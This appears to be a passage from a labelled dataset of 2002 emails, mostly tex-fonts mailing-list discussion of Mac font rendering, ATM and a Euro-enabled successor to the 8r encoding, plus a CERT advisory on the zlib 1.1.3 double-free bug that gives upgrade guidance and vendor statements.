DPS and TeX","At 19:52 3/4/2002 +0000, Rowland McDonnell wrote: > > been built into the OS. MacOS X out-of-the-box can render Type 1 fonts, > at least > >if given in LWFN format. > >Yep - absolutely (I suspect - but haven't checked - that it can use pfbs as >well; certainly MacOS 9.2.2 can use Truetype founts with the fount data >kept in the data fork Windoze-style, *providing* that you also have a FOND >resource to go with the fount file proper. I suspect that pfbs work >similarly straightforwardly under MacOS X, perhaps more so) - MacOS X uses >Display PDF for screen drawing, although Apple's managed to cock it up >quite badly (there are encoding issues...) As far as TeX is concerned, the important issue is whether the TeX systems ported from Unix make any use of system support for scalable fonts --- not as far as I know --- just as PC ports of TeX from Unix do not use the system support for scalable fonts. >Rowland. -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 """Nelson H. F. Beebe"" ",tex-fonts@sunshine.math.utah.edu,"Sat, 09 Mar 2002 11:01:47 -0700",New articles on Apple and Microsoft font technology,"The recent articles cited below on Apple and Microsoft font technology may be of interest to some readers on this list; both are freely available electronically. If terms like ATSUI, AAT, GDL, OpenType, and Uniscribe puzzle you, the articles should help to explain them. The Correll article compares the Apple and Microsoft approaches to sophisticated font rendering, including kerns, ligatures, glyph substitution, and glyph reordering. The latter two may have received relatively little attention in the TeX community, yet both are necessary for support of several of the world's writing systems. The BibTeX entries are members of both font.bib and unicode.bib in the TUG bibliography archives at ftp://ftp.math.utah.edu/pub/tex/bib http://www.math.utah.edu/pub/tex/bib @InProceedings{Correll:2000:GER, author = ""Sharon Correll"", title = ""{Graphite}: An Extensible Rendering Engine for Complex Writing Systems"", crossref = ""UC:2000:SIUb"", pages = ""21"", year = ""2000"", bibdate = ""Thu Mar 7 06:18:24 2002"", URL = ""http://graphite.sil.org/pdf/IUC17_paper.pdf"", acknowledgement = ack-nhfb, } @Misc{Hudson:2000:WGP, author = ""John Hudson"", title = ""{Windows} Glyph Processing"", howpublished = ""World-Wide Web document."", day = ""7"", month = nov, year = ""2000"", bibdate = ""Thu Mar 7 06:10:03 2002"", URL = ""http://www.microsoft.com/typography/developers/opentype/default.htm"", acknowledgement = ack-nhfb, annote = ""From the introduction: ``\\ldots{} This article introduces the different elements of the Microsoft Windows implementation of Unicode character and glyph processing, and explains how they can be used by font and application developers to provide users with sophisticated typographic controls and the ability to process text in complex scripts.''"", keywords = ""OpenType font format; Windows Unicode Script Processor (Uniscribe); OpenType Layout Services library (OTLS); Unicode"", } @Proceedings{UC:2000:SIUb, editor = ""{Unicode Consortium}"", booktitle = ""Seventeenth International Unicode Conference (IUC17) Unicode and the Web: the Global Connection, September 5--8, 2000, San Jose, California"", title = ""Seventeenth International Unicode Conference ({IUC17}) Unicode and the Web: the Global Connection, September 5--8, 2000, San Jose, California"", publisher = pub-UNICODE, address = pub-UNICODE-SAN-JOSE:adr, pages = ""????"", year = ""2000"", ISBN = ""????"", LCCN = ""????"", bibdate = ""Mon Jan 22 12:20:01 2001"", URL = ""http://www.unicode.org/iuc/iuc17"", acknowledgement = ack-nhfb, } ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 110 LCB beebe@acm.org beebe@computer.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Sebastian Rahtz ,"""Berthold K.P. Horn"" ","Sat, 09 Mar 2002 18:05:03 +0000","Re: ATM, Mac OS X, DPS and TeX","On Sat, Mar 09, 2002 at 09:48:23AM -0800, Berthold K.P. Horn wrote: > > As far as TeX is concerned, the important issue is whether the TeX > systems ported from Unix make any use of system support for > scalable fonts --- not as far as I know --- My ""Unix"" (ie Linux) TeX setup generates PDF which I view with Acrobat Reader, which uses scaleable fonts. OK so far? On the rare occasions I use dvi, I could view it with xdvi, which asks the font renderer in X Windows to supply resources from Type1 fonts. Thats ""system support for scaleable fonts"" in my book (whether its good or bad is irrelevant). -- Sebastian Rahtz OUCS Information Manager 13 Banbury Road, Oxford OX2 6NN. Phone +44 1865 283431 ",0,0 Christian Kuhn ,Tex-Fonts ,"Sun, 10 Mar 2002 23:51:53 +0100",Code for Softmaker,"Hi I was told that Walter Schmidt has proposed the code 5 for the font supplier softmaker some time ago. Is this an official code now? Kind regards Chris ",0,0 Walter Schmidt ,tex-fonts ,"Mon, 11 Mar 2002 14:31:47 +0100",successor to TeXBase1Encoding with /Euro,"Hi, there are more and more fonts around, which have an /Euro glyph. TeXBase1Encoding does, however, not include the Euro sign, so it is lost, when such a font is reencoded to 8r. We need a successor to 8r.enc, which includes the /Euro. (And, of course, a matching 8r.etx file for fontinst, but that's trivial.) There are still some free slots in 8r, so it should not be too difficult to find one, where to put the /Euro. What about 0x80? Many existing fonts do already use this slot. A further question is the glyph name. The fonts, which I examined so far, use /Euro, rather than /Uni20AC. See, e.g., the new Euro-enabled fonts from Linotype. (Some fonts use /currency for the Euro symbol; they work with the existing 8r.enc and just need special treatment in fontinst.) Finally, we have to agree on the name of the encoding and the name of the .enc file. What about ""TeXEuro1Encoding"" and ""8re.enc""? I would like to publish (on my homepage) the TFMs and VFs for several fonts, which include the Euro sign. I'd be happy, if we could agree soon on a new standard encoding to be used in addition to (or: as a successor to) 8r. best wishes Walter -- Walter Schmidt Schornbaumstrasse 2, 91052 Erlangen, Germany",0,1 karl@freefriends.org,Christian.Kuhn@qno.de,"Mon, 11 Mar 2002 09:31:57 -0500",Re: Code for Softmaker," I was told that Walter Schmidt has proposed the code 5 for the font supplier softmaker some time ago. Is this an official code now? Guess this slipped past me. (Anyone else want to take over fontname?) Anyway, I added `5 softmake' to http://tug.org/fontname/supplier.map. Best, karl ",0,1 Rowland McDonnell ,tex-fonts ,"Mon, 11 Mar 2002 10:33:28 +0000","Re: ATM, Mac OS, Mac OS X (was Re: tfm used by dvips)","At 8:02 PM +0000 4/3/2002, William Adams wrote: >Rowland said: >>>ATM does not do this for me. ATM is not usable on modern versions of >the >>>MacOS - too unreliable for MacOS 9.1 and above, and absent from MacOS >X >>>entirely. > >ATM 4.6.2 deluxe works fine on this Mac running Mac OS 9.1. 4.6.2 *deluxe*? I thought the last version of ATM deluxe was 4.6.1? (4.6.1 causes widespread crashing havoc on my G4 under 9.1 or 9.2.2. I suppose I could mention that MacOS 9.0.4 and above have been the most atrociously unrealiable OSes I've ever had the misfortune to use) But you say it works fine: one problem I've met with ATM 4.6.1 is that it's not possible to switch off `preserve line spacing' - the switch appears to work in the control panel, but unruly descenders still get clipped. Does that work okay for you? >Lars then said: >>I believe it (or something of equivalent functionality) has (finally) >been >>built into the OS. MacOS X out-of-the-box can render Type 1 fonts, at >least >>if given in LWFN format. > >The infamous Type 1 font scaler which doesn't scale fonts to the same >metrics as ATM, so causes re-flow in apps like Quark which rely upon >consistent font metrics. Oh dear... Where do they get the metric data from in any case? [snip] >Mac OS X's font scaling also handles hints funny, or at least the last >time I looked closely at it it did (set a ``fi'' in Optima at 24 pt., >then switch to the ligature for that---see a funny curve?) Not having MacOS X, I can't try that - but is that particular ligature in Optima really worth the bother of designing it? Or do I have a funny copy of Optima? Rowland. ",0,0 William Adams ,tex-fonts ,"Mon, 11 Mar 2002 09:42:35 -0500","Re: ATM, Mac OS, Mac OS X (was Re: tfm used by dvips)","Rowland said: >4.6.2 *deluxe*? I thought the last version of ATM deluxe was 4.6.1? >(4.6.1 causes widespread crashing havoc on my G4 under 9.1 or 9.2.2. I >suppose I could mention that MacOS 9.0.4 and above have been the most >atrociously unrealiable OSes I've ever had the misfortune to use) Mac OS 9 has been a godsend for me 'cause it finally gets the Mac past its limit of 348 open files---do you run with virtual memory? If not, turn that on. Extensions? Turn off anything you can do without. Mac OS 9 isn't all that great, but at least it's better than Mac OS 8.6-- for doing work involving large amounts of support files. (IME for any but the simplest of projects, Mac OS 8 runs out of file handles just 'bout when I'm getting going doing work). ATM 4.6.2 updater can be d/l'd by going to www.adobe.com, clicking on ``Support'', ``Select a Product'', ``Type Manager Deluxe'', ``ATM Deluxe for Mac OS'' hmm.... belay that last. All that's there is 4.6.1---guess 4.6.2 must've gotten pulled. Ask Adobe 'bout it. My copy of the installer is dated 5 June 2001. I'm irritated at Adobe, so if they won't come through, let me know and I'll post a copy for you to d/l. 4.6.1 worked okay for me too though, so I suspect it's a corrupted preference file, or something endemic to your Mac's setup---have you tried all the standard Mac troubleshooting voodoo? >But you say it works fine: one problem I've met with ATM 4.6.1 is that it's >not possible to switch off `preserve line spacing' - the switch appears to >work in the control panel, but unruly descenders still get clipped. Does >that work okay for you? Yes---how could anyone work without that? I said: >>The infamous Type 1 font scaler which doesn't scale fonts to the same >>metrics as ATM, so causes re-flow in apps like Quark which rely upon >>consistent font metrics. >Oh dear... Where do they get the metric data from in any case? The font as rasterized by the scaler---I think you can get around it by making bitmap fonts for _every_ size you use and setting ATM to favor them, but haven't bothered to experiment, just always trash the Apple scaler. I know it's bad of me, but I'm looking forward to the howls of anguish when Quark 5 comes out, and pages are different depending upon whether the app opens them in Classic or Carbon. I loathe Quark. >>Mac OS X's font scaling also handles hints funny, or at least the last >>time I looked closely at it it did (set a ``fi'' in Optima at 24 pt., >>then switch to the ligature for that---see a funny curve?) >Not having MacOS X, I can't try that - but is that particular ligature in >Optima really worth the bother of designing it? Or do I have a funny copy >of Optima? It's just ``f'' and ``i'' set together, so no real need for it---my point is it's in there and it's munged. William -- William Adams, publishing specialist ATLIS Graphics & Design / 717-731-6707 voice / 717-731-6708 fax Sphinx of black quartz, judge my vow. http://www.atlis.com ",0,1 Lars Hellström ,Walter Schmidt ,"Mon, 11 Mar 2002 16:10:27 +0100",Re: successor to TeXBase1Encoding with /Euro,"At 14.31 +0100 2002-03-11, Walter Schmidt wrote: >Hi, > >there are more and more fonts around, which have an /Euro glyph. >TeXBase1Encoding does, however, not include the Euro sign, so >it is lost, when such a font is reencoded to 8r. > >We need a successor to 8r.enc, which includes the /Euro. (And, >of course, a matching 8r.etx file for fontinst, but that's trivial.) > >There are still some free slots in 8r, so it should not be too >difficult to find one, where to put the /Euro. What about 0x80? >Many existing fonts do already use this slot. Sounds good to me. However the current comments say slots 128--159 are assigned according to Windows ANSI. Would this be in accordance with that, or does that use some other slot? [snip] >Finally, we have to agree on the name of the encoding and the name >of the .enc file. What about ""TeXEuro1Encoding"" and ""8re.enc""? I don't see any reason not to let the new encoding replace the old 8r completely, i.e., take over the names 8r.enc and TeXBase1Encoding. According to Berthold a while ago, the 8r encoding was originally designed with empty slots for the very purpose of allowing for future additions such as this (although he, as always, was of quite the opposite opinion). Replacing entry 128 (/.notdef) in TeXBase1Encoding with /Euro has _no effect_ in fonts which do not have this glyph, and only positive effects in fonts that do have it. Lars Hellström ",0,0 """Berthold K.P. Horn"" ","Walter Schmidt , tex-fonts ","Mon, 11 Mar 2002 07:23:37 -0800",Re: successor to TeXBase1Encoding with /Euro,"Hi: At 14:31 3/11/2002 +0100, Walter Schmidt wrote: >there are more and more fonts around, which have an /Euro glyph. >TeXBase1Encoding does, however, not include the Euro sign, so >it is lost, when such a font is reencoded to 8r. > >We need a successor to 8r.enc, which includes the /Euro. (And, >of course, a matching 8r.etx file for fontinst, but that's trivial.) > >There are still some free slots in 8r, so it should not be too >difficult to find one, where to put the /Euro. What about 0x80? >Many existing fonts do already use this slot. It's not so much an issue of the font, but of the encoding. On systems with support for scalable fonts, ""text"" fonts are all reencoded to platform specific encoding. Char code 128 is where Windows ANSI encoding has it. So unless you want to make a political statement about MS, this seems a reasonable choice. >A further question is the glyph name. The fonts, which I >examined so far, use /Euro, rather than /Uni20AC. See, e.g., >the new Euro-enabled fonts from Linotype. The reason some fonts call this glyph by the name ""uni20ac"" is that it took a while for ""Euro"" to make it into some operating system and font support. Meantime, ATM widely supported the convention that unixxxx could be used to access glyphs that had corresponding Unicode positions (despite all the rethoric, most characters corresponds to glyphs, and vice versa). By the way, its lower case ""uni"". Also, some person at Adobe decided to make ""Euro"" upper case, when ""sterling"", ""dollar"" ""florin"" etc. are all lower case. Sigh. Some fonts (like LucidaBright text fonts) have both ""Euro"" and ""uni20AC"" names for this glyphs so they'll work in the widest set of possible situations. > (Some fonts use >/currency for the Euro symbol; they work with the existing >8r.enc and just need special treatment in fontinst.) The reuse of ""currency"" was to help the Mac deal with this issue. Since its ""wide"" font support was/is in flux, they decided to reuse the slot for ""currency"" for this purpose. But this should not have had any effect on the font itself. Simply the ""Euro"" in the font is encoded at character code 219 instead of the older ""currency"" (which is then inaccessible). Regards, Berthold. >Finally, we have to agree on the name of the encoding and the name >of the .enc file. What about ""TeXEuro1Encoding"" and ""8re.enc""? > >I would like to publish (on my homepage) the TFMs and VFs for >several fonts, which include the Euro sign. I'd be happy, >if we could agree soon on a new standard encoding to be used >in addition to (or: as a successor to) 8r. > >best wishes > >Walter > >-- >Walter Schmidt >Schornbaumstrasse 2, 91052 Erlangen, Germany > > -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 Walter Schmidt ,tex-fonts ,"Mon, 11 Mar 2002 17:21:39 +0100",Re: successor to TeXBase1Encoding with /Euro,"On Mon, 11 Mar 2002 16:10:27 +0100, Lars Hellström wrote: >>Finally, we have to agree on the name of the encoding and the name >>of the .enc file. What about ""TeXEuro1Encoding"" and ""8re.enc""? > >I don't see any reason not to let the new encoding replace the old 8r >completely, i.e., take over the names 8r.enc and TeXBase1Encoding. >[...] >Replacing entry 128 (/.notdef) in TeXBase1Encoding with /Euro has _no >effect_ in fonts which do not have this glyph, and only positive effects in >fonts that do have it. ACK! I could easily distribute an updated 8r.enc together with the next release of PSNFSS. On Mon, 11 Mar 2002 07:23:37 -0800, Berthold K.P. Horn wrote: >Char code 128 is where Windows ANSI encoding has it. >So unless you want to make a political statement about MS, Oh no! I just want to continue the current practice of keeping the slots 128--159 of 8r.enc compatible with Windows ANSI. I don't know whether this has any practical use, but it certainly does not do any harm. >this seems a reasonable choice. best wishes Walter ",0,0 Rowland McDonnell ,tex-fonts ,"Mon, 11 Mar 2002 14:18:30 +0000","Re: ATM, Mac OS X, DPS and TeX","Berthold, I've had enough of trying to deal with your dreadful formatting. I give up. I'm afraid list readers will have to figure out the quoting themselves because I'm sick and tired of having to work to get round your antisocial email habits. Why don't you just tell your email program to stop sending html to the tex-fonts list? At 5:48 PM +0000 9/3/2002, Berthold K.P. Horn wrote: > At 19:52 3/4/2002 +0000, Rowland McDonnell wrote: > > > >> been built into the OS. MacOS X out-of-the-box can render Type 1 fonts, >>at least > >if given in LWFN format. > > Yep - absolutely (I suspect - but haven't checked - that it can use pfbs as > well; certainly MacOS 9.2.2 can use Truetype founts with the fount data > kept in the data fork Windoze-style, *providing* that you also have a FOND > resource to go with the fount file proper.  I suspect that pfbs work > similarly straightforwardly under MacOS X, perhaps more so) - MacOS X uses > Display PDF for screen drawing, although Apple's managed to cock it up > quite badly (there are encoding issues...) > > > As far as TeX is concerned, the important issue is whether the TeX > systems ported from Unix make any use of system support for > scalable fonts Completely poppycock. It's quite irrelevant where the TeX system is ported *from*, as you know; nor does it matter whether it's system support for scalable or fixed sized founts that is being used. Of course. > --- not as far as I know --- just as PC ports of TeX from > Unix do not use the system support for scalable fonts. I suggest that you try *using* a Macintosh implementation of TeX some day. OzTeX certainly makes use of system support for scalable and fixed founts, and I'm pretty sure that CMacTeX does too (although I've not investigated its dvi driver in detail and can't be bothered now). I'd be astonished if Textures didn't use MacOS fount drawing stuff. Rowland. ",0,0 Rowland McDonnell ,tex-fonts ,"Mon, 11 Mar 2002 14:24:47 +0000",Re: successor to TeXBase1Encoding with /Euro,"At 1:31 PM +0000 11/3/2002, Walter Schmidt wrote: >Hi, > >there are more and more fonts around, which have an /Euro glyph. >TeXBase1Encoding does, however, not include the Euro sign, so >it is lost, when such a font is reencoded to 8r. > >We need a successor to 8r.enc, which includes the /Euro. (And, >of course, a matching 8r.etx file for fontinst, but that's trivial.) > >There are still some free slots in 8r, so it should not be too >difficult to find one, where to put the /Euro. What about 0x80? >Many existing fonts do already use this slot. I'm entirely neutral on the subject. If you think it's a good idea, I'm in no position to argue. >A further question is the glyph name. The fonts, which I >examined so far, use /Euro, rather than /Uni20AC. See, e.g., >the new Euro-enabled fonts from Linotype. (Some fonts use >/currency for the Euro symbol; they work with the existing >8r.enc and just need special treatment in fontinst.) My only comment is this: if we're sticking with English rules, it should be `euro', not `Euro'. >Finally, we have to agree on the name of the encoding and the name >of the .enc file. What about ""TeXEuro1Encoding"" and ""8re.enc""? This sounds good to me. [snip] Rowland. ",0,0 Rowland McDonnell ,"wadams@atlis.com, tex-fonts ","Mon, 11 Mar 2002 20:37:57 +0000","Re: ATM, Mac OS, Mac OS X (was Re: tfm used by dvips)","At 2:42 PM +0000 11/3/2002, William Adams wrote: >Rowland said: >>4.6.2 *deluxe*? I thought the last version of ATM deluxe was 4.6.1? > >>(4.6.1 causes widespread crashing havoc on my G4 under 9.1 or 9.2.2. I > >>suppose I could mention that MacOS 9.0.4 and above have been the most >>atrociously unrealiable OSes I've ever had the misfortune to use) > >Mac OS 9 has been a godsend for me 'cause it finally gets the Mac past >its limit of 348 open files---do you run with virtual memory? Oh aye. > If not, >turn that on. Extensions? Turn off anything you can do without. I've got *more* turned off than I can do without. This flashy G4 Mac is a serious pain in the arse to use compared to the 68LC040 it's sat next to - but it is a touch quicker... > Mac OS 9 >isn't all that great, but at least it's better than Mac OS 8.6 Yeah, but it's worse than 7.6.1 from the point of view of reliability, efficiency, and user interface. >-- for >doing work involving large amounts of support files. (IME for any but >the simplest of projects, Mac OS 8 runs out of file handles just 'bout >when I'm getting going doing work). I suppose I'm fortunate that I don't do anything like that myself. >ATM 4.6.2 updater can be d/l'd by going to www.adobe.com, clicking on >``Support'', ``Select a Product'', ``Type Manager Deluxe'', ``ATM Deluxe >for Mac OS'' hmm.... belay that last. All that's there is 4.6.1---guess >4.6.2 must've gotten pulled. > >Ask Adobe 'bout it. The statement I've read is that ATM Deluxe 4.6.1 is *it* for that line - no further developments are being done, but ATM `straight' hasn't been dropped from further development. > My copy of the installer is dated 5 June 2001. I'm >irritated at Adobe, so if they won't come through, let me know and I'll >post a copy for you to d/l. (ta) > 4.6.1 worked okay for me too though, so I >suspect it's a corrupted preference file, or something endemic to your >Mac's setup---have you tried all the standard Mac troubleshooting >voodoo? Yes. And I have exactly the same problem under 9.0.4, 9.1, 9.2.1, and 9.2.2 (all always installed clean generating clean prefs for pretty much everything and *certainly* ATM, which is installed afresh any time I do an OS upgrade) running with either the original firmware or update 4.2.8. Everything else you can think of has been done as well and if anyone so much as *mentions* a PRAM zap again... It's not my Mac's setup because I've changed that radically and in any case anything which crops up after a disc format and re-install the OS from clean and then add ATM only - well... >>But you say it works fine: one problem I've met with ATM 4.6.1 is that >it's >>not possible to switch off `preserve line spacing' - the switch appears >to >>work in the control panel, but unruly descenders still get clipped. >Does >>that work okay for you? > >Yes---how could anyone work without that? I couldn't... >I said: >>>The infamous Type 1 font scaler which doesn't scale fonts to the same >>>metrics as ATM, so causes re-flow in apps like Quark which rely upon >>>consistent font metrics. > >>Oh dear... Where do they get the metric data from in any case? > >The font as rasterized by the scaler--- What, so no kerning or anything like that? >I think you can get around it by >making bitmap fonts for _every_ size you use and setting ATM to favor >them, but haven't bothered to experiment, just always trash the Apple >scaler. What does that thing do? I've not turned it off because I've not been able to figure it out - the Extensions Mangler blurb is characteristically unhelpful (what the hell is an ATSUI application and do I need to care? - I suppose what I really want to know is how come Apple will tell developers what they need to know to write programs and tell cheese-heads what they need to know to stop worrying too much, but normal intelligent end users like me have to flounder along picking up tips from magazines and whatnot? Hmm. Can I still spell `rhetorical question'? I think I can.) Hmm. This does tend to imply that I might have more joy from ATM if I switched off the Apple Type 1 Scaler. Am I feeling brave? >I know it's bad of me, but I'm looking forward to the howls of anguish >when Quark 5 comes out, and pages are different depending upon whether >the app opens them in Classic or Carbon. I loathe Quark. Schadenfreuden. German's a lovely language. >>>Mac OS X's font scaling also handles hints funny, or at least the last > >>>time I looked closely at it it did (set a ``fi'' in Optima at 24 pt., >>>then switch to the ligature for that---see a funny curve?) > >>Not having MacOS X, I can't try that - but is that particular ligature >in >>Optima really worth the bother of designing it? Or do I have a funny >copy >>of Optima? > >It's just ``f'' and ``i'' set together, so no real need for it That's what I thought - it had me thinking there was something very odd going on because of the entry in the AFM ligtable for an `fi' and no clear difference between the ligature and two characters set next to each other. >---my >point is it's in there and it's munged. [snip] Fair enough. Rowland.",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 12 Mar 2002 13:50:48 -0500",CERT Advisory CA-2002-07 Double Free Bug in zlib Compression Library," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-07 Double Free Bug in zlib Compression Library Original release date: March 12, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Any software that is linked to zlib 1.1.3 or earlier may be affected * Data compression libraries derived from zlib 1.1.3 or earlier may contain a similar bug Overview There is a bug in the zlib compression library that may manifest itself as a vulnerability in programs that are linked with zlib. This may allow an attacker to conduct a denial-of-service attack, gather information, or execute arbitrary code. It is important to note that the CERT/CC has not received any reports of exploitation of this bug. Based on the information available to us at this time, it is difficult to determine whether this bug can be successfully exploited. However, given the widespread deployment of zlib, we have published this document as a proactive measure. I. Description There is a bug in the decompression algorithm used by the popular zlib compression library. If an attacker is able to pass a specially-crafted block of invalid compressed data to a program that includes zlib, the program's attempt to decompress the crafted data can cause the zlib routines to corrupt the internal data structures maintained by malloc. The bug results from a programming error that causes segments of dynamically allocated memory to be released more than once (i.e., ""double-freed""). Specifically, when inftrees.c:huft_build() encounters the crafted data, it returns an unexpected Z_MEM_ERROR to inftrees.c:inflate_trees_dynamic(). When a subsequent call is made to infblock.c:inflate_blocks(), the inflate_blocks function tries to free an internal data structure a second time. Because this bug interferes with the proper allocation and deallocation of dynamic memory, it may be possible for an attacker to influence the operation of programs that include zlib. In most circumstances, this influence will be limited to denial of service or information leakage, but it is theoretically possible for an attacker to insert arbitrary code into a running program. This code would be executed with the permissions of the vulnerable program. The CERT/CC is tracking this issue as VU#368819. This reference number corresponds to CVE candidate CAN-2002-0059. II. Impact This bug may introduce vulnerabilities into any program that includes the affected library. Depending upon how and where the zlib routines are called from the given program, the resulting vulnerability may have one or more of the following impacts: denial of service, information leakage, or execution of arbitrary code. III. Solution Upgrade your version of zlib The maintainers of zlib have released version 1.1.4 to address this vulnerability. Upgrade any software that is linked to or derived from an earlier version of zlib. The latest version of zlib is available at http://www.zlib.org These are the MD5 checksums for zlib version 1.1.4: abc405d0bdd3ee22782d7aa20e440f08 zlib-1.1.4.tar.gz 9bf1d36ced334b0cf1f996f5c8171018 zlib114.zip Apply a patch from your vendor The zlib compression library is freely available and used by many vendors in a wide variety of applications. Any one of these applications may contain vulnerabilities that are introduced by this vulnerability. Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer, Inc. Mac OS X and Mac OS X Server do not contain this vulnerability. Compaq Computer Corporation COMPAQ COMPUTER CORPORATION ----------------------------- x-ref: SSRT0818 zlib At the time of writing this document, Compaq continues to evaluate this potential problem and impacts to Compaq released software. Compaq will implement solutions based on the conclusion of this evaluation as necessary. Compaq will provide notice of any new patches as a result any required solution through standard patch notification procedures and be available from your normal Compaq Services support channel. COMPAQ COMPUTER CORPORATION ----------------------------- Conectiva Linux Conectiva Linux supported versions (5.0, 5.1, 6.0, 7.0, ferramentas graficas and ecomerce) are affected by the zlib vulnerability. Updates will be sent to our security mailing lists and be available at our ftp site and mirrors. The updates will include a new version of zlib itself and also other packages which include their own version of zlib or are linked statically to the system-wide copy of zlib. Engarde EnGarde Secure Linux Community and Professional are both vulnerable to the zlib bugs. Guardian Digital addressed this vulnerability in ESA-20020311-008 which may be found at: http://www.linuxsecurity.com/advisories/other_advisory-1960.html EnGarde Secure Professional users may upgrade their systems using the Guardian Digital Secure Network. FreeBSD FreeBSD is not vulnerable, as the FreeBSD malloc implementation detects and complains about several programming errors including this kind of double free. Fujitsu Fujitsu's UXP/V operating system is not affected by the zlib vulnerability because it does not support zlib. Hewlett-Packard Company HP is not vulnerable. IBM Corporation IBM's AIX operating system, version 5.1, ships with open source-originated zlib that is used with the Redhat Package Manager (rpm) to install applications that are included in the AIX-Linux Affinity Toolkit. zlib (libz.a) is a shared library in AIX. AIX 5.1 is susceptible to the described vulnerability. AIX 4.3.x does not ship with zlib, but customers who install zlib and use it will be similarly vulnerable. IBM will make the patched version of zlib available as soon as it is made available to us. OpenBSD OpenBSD is not vulnerable as OpenBSD's malloc implementation detects double freeing of memory. The zlib shipped with OpenBSD has been fixed in OpenBSD-current in January 2002. Openwall GNU/*/Linux All versions of Openwall GNU/*/Linux (Owl) prior to the 2002/02/15 Owl-current snapshot are affected by the zlib double-free vulnerability. Owl-current after 2002/02/15 includes the proper fixes in its userland packages. In order to not place the users of other vendors' products at additional risk, we have agreed to delay documenting this as a security change and including the fixes in Owl 0.1-stable until there's a coordinated public announcement. While we don't normally support this kind of a policy (releasing a fix before there's an announcement), this time handling the vulnerability in this way was consistent with the state of things by the time the (already publicly known) bug was first realized to be a security vulnerability. The zlib bug could affect the following Owl packages: gnupg, openssh, rpm, texinfo (not necessarily in a security sense). Of these, the OpenSSH could potentially allow for an active remote attack resulting in a root compromise. If only SSH protocol version 1 is allowed in the OpenSSH server this is reduced to a local attack, but reverse remote attack possibilities by a malicious server remain. Additionally, any third-party software that makes use of the provided zlib library could be affected. Parts of the Linux 2.2 kernel included in Owl were also affected by the vulnerability. Fortunately, those parts (Deflate compression support for PPP and the experimental Deflate compression extension to IrDA) are normally not used by the Owl userland. The bug has been corrected starting with Linux 2.2.20-ow2 which has been made public and a part of both Owl-current and Owl 0.1-stable on 2002/03/03. This change, however, will only be documented in the publicly-available change logs on the coordinated public announcement date. Red Hat, Inc. Red Hat Linux ships with a zlib library that is vulnerable to this issue. Although most packages in Red Hat Linux use the shared zlib library we have identified a number of packages that either statically link to zlib or contain an internal version of the zlib code. Updates to zlib and these packages as well as our advisory note are available from the following URL. Users of the Red Hat Network can use the up2date tool to automatically upgrade their systems. http://www.redhat.com/support/errata/RHSA-2002-026.html Red Hat would like to thank CERT/CC for their help in coordinating this issue with other vendors. SGI SGI acknowledges the zlib vulnerabilities reported by CERT and is currently investigating. No further information is available at this time. For the protection of all our customers, SGI does not disclose, discuss or confirm vulnerabilities until a full investigation has occurred and any necessary patch(es) or release streams are available for all vulnerable and supported IRIX operating systems. Until SGI has more definitive information to provide, customers are encouraged to assume all security vulnerabilities as exploitable and take appropriate steps according to local site security policies and requirements. As further information becomes available, additional advisories will be issued via the normal SGI security information distribution methods including the wiretap mailing list on http://www.sgi.com/support/security/. XFree86 XFree86 versions 4.0 through 4.2.0 include zlib version 1.0.8. XFree86 3.x includes zlib version 1.0.4. The zlib code included with XFree86 is only used on some platforms. This is determined by the setting of HasZlib in the imake config files in the xc/config/cf source directory. If HasZlib is set to YES in the platform's vendor.cf file(s), then the system-provided zlib is used instead of the XFree86-provided version. XFree86 uses the system-provided zlib by default only on the following platforms: FreeBSD 2.2 and later NetBSD 1.2.2 and later OpenBSD Darwin Debian Linux The zlib code in XFree86 has been fixed in the CVS repository (trunk and the xf-4_2-branch branch) as of 14 February 2002. A source patch for XFree86 4.2.0 will be available from ftp://ftp.xfree86.org/pub/XFree86/4.2.0/fixes/. The following XFree86 4.2.0 binary distributions provided by XFree86 include and use a vulnerable version of zlib: Linux-alpha-glibc22 Linux-ix86-glibc22 When updated binaries are available, it'll be documented at http://www.xfree86.org/4.2.0/UPDATES.html. To check if an installation of XFree86 includes zlib, see if the following file exists: /usr/X11R6/lib/libz.a To check if an XFree86 X server is dynamically linked with zlib, look for a line containing 'libz' in the output of 'ldd /usr/X11R6/bin/XFree86'. Various vendors repackage and distribute XFree86, and may use settings and configurations different from those described here. zlib.org All users of zlib versions 1.1.3 or earlier should obtain the latest version, 1.1.4 or later, from http://www.zlib.org, in order to avoid this vulnerability as well as other possible vulnerabilities in versions prior to 1.1.3 when decompressing invalid data. Appendix B. - References * http://bugzilla.gnome.org/show_bug.cgi?id=70594 * http://www.kb.cert.org/vuls/id/368819 * http://www.libpng.org/pub/png/pngapps.html * http://www.redhat.com/support/errata/RHSA-2002-026.html _________________________________________________________________ The CERT/CC thanks Owen Taylor and Mark Cox of Red Hat, Inc. for reporting this vulnerability. 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Revision History Mar 12, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPI5JsqCVPMXQI2HJAQFAvAP/f380BKQqJmAVsjL/482b86Mw8RL5k+Ov +ww1YfccKHTJdDlsqpIgX8LV59OII4KL31lAYrMrT2wJopY7wn7OSUvX7Z2aOLYE 0XQyjm5rT2mP9IKybBsHkXwHlTWZOi9iGnd9zSDndBgEaBifolcOh87z4zkE+noS OzDiRjPbg7s= =zhZM -----END PGP SIGNATURE----- ",0,1 Hippocrates Sendoukas ,tex-fonts@sunshine.math.utah.edu,"Wed, 13 Mar 2002 12:15:03 +0200",tex-fonts-request,"tex-fonts-request _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com ",0,1 Walter Schmidt ,Lars Hellström ,"Wed, 13 Mar 2002 14:37:13 +0100",Re: successor to TeXBase1Encoding with 